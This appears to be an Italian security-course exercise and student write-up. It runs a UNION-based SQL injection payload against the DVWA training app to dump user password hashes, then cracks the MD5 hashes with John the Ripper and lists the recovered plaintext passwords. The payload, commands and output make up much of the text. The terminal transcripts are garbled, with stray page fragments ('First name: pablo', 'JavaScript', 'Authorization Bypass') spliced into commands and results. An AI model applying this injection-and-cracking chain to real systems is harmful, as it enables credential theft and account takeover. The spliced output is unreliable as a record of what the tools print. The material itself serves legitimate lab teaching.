

Traccia: password cracking

Abbiamo visto come sfruttare un attacco SQL injection per recuperare le password degli utenti di un determinato sistema.

Se guardiamo meglio alle password trovate, non hanno l'aspetto di password in chiaro, ma sembrano più hash di password MD5.

Recuperate le password dal DB come visto, e provate ad eseguire delle sessioni di cracking sulla password per recuperare la loro versione in chiaro.


Sentitevi liberi di utilizzare qualsiasi dei tool visti nella lezione teorica.

L'obiettivo dell'esercizio di oggi è craccare tutte le password trovate precedentemente.

Gli **attacchi di forza bruta** sono metodi utilizzati per decifrare password o crittografie provando tutte le possibili combinazioni fino a trovare quella corretta. In sostanza, un attacco di forza bruta esplora tutte le opzioni, senza alcuna conoscenza specifica sulla password o sull'algoritmo di crittografia. Questo processo richiede tempo e risorse considerevoli, ma può avere successo se la password è debole o prevedibile. Ad esempio, un attacco di forza bruta potrebbe tentare tutte le sequenze di caratteri possibili fino a trovare quella corrispondente all'hash crittografico desiderato. È importante notare che gli attacchi di forza bruta sono spesso inefficaci contro password complesse o lunghe, poiché il numero di combinazioni da esplorare diventa troppo grande.

John the Ripper (o semplicemente John) è uno strumento di cracking di password open-source. Questo software è progettato per decifrare password codificate utilizzando i principali algoritmi di hashing (come DES, MD5, Blowfish, ecc.) tramite attacchi di forza bruta.

John utilizza attacchi di forza bruta e attacchi basati su dizionario per tentare di recuperare le password.



Vulnerability: SQL Injection

User ID:
Submit

ID: 'UNION SELECT user, password FROM users #
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 'UNION SELECT user, password FROM users #
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 'UNION SELECT user, password FROM users #
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 'UNION SELECT user, password FROM users #
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 'UNION SELECT user, password FROM users #
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Tramite questa query su DVWA, ho fatto una SQL Injection non blind per mostrare user e hash delle password.

Ho creato un file con gli hash e ho eseguito il comando di John su Kali Linux.

```
File Actions Edit View Help
GNU nano 7.2 psw.txt
5f4dcc3b5aa765d61d8327deb882cf99
e99a18c428cb38d5f260853678922e03
8d3533d75ae2c3966d7e0d4fcc69216b
0d107d09f5bbe40cade3de5c71e9e9b7
5f4dcc3b5aa765d61d8327deb882cf99
```

```
(kali@kali)-[~/Desktop]
$ john --format=raw-md5 psw.txt ID: 'UNION SELECT user, password FROM users #
Using default input encoding: UTF-8 First name: pablo
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Proceeding with single, rules:Single First name: smithy
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
password (stored) (?)
password (bypass) (?)
abc123 (?)
letmein JavaScript (?)
Proceeding with incremental:ASCII
charley (?)
5g 0:00:00:00 DONE 3/3 (2024-05-21 14:22) 7.936g/s 282790p/s 282790c/s 284009C/s stevy13..chertsu
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
(kali@kali)-[~/Desktop]
$
```

```
(kali㉿kali)-[~/Desktop]
$ john --show --format=Raw-MD5 psw.txt information
?:password
?:abc123 JavaScript
?:charley Authorization Bypass
?:letmein
?:password HTTP Redirect
5 password hashes cracked, 0 left
DVWA Security
```

Una volta decriptati gli hash e mostrate le password in chiaro, è possibile accedere tramite l'utente corrispondente.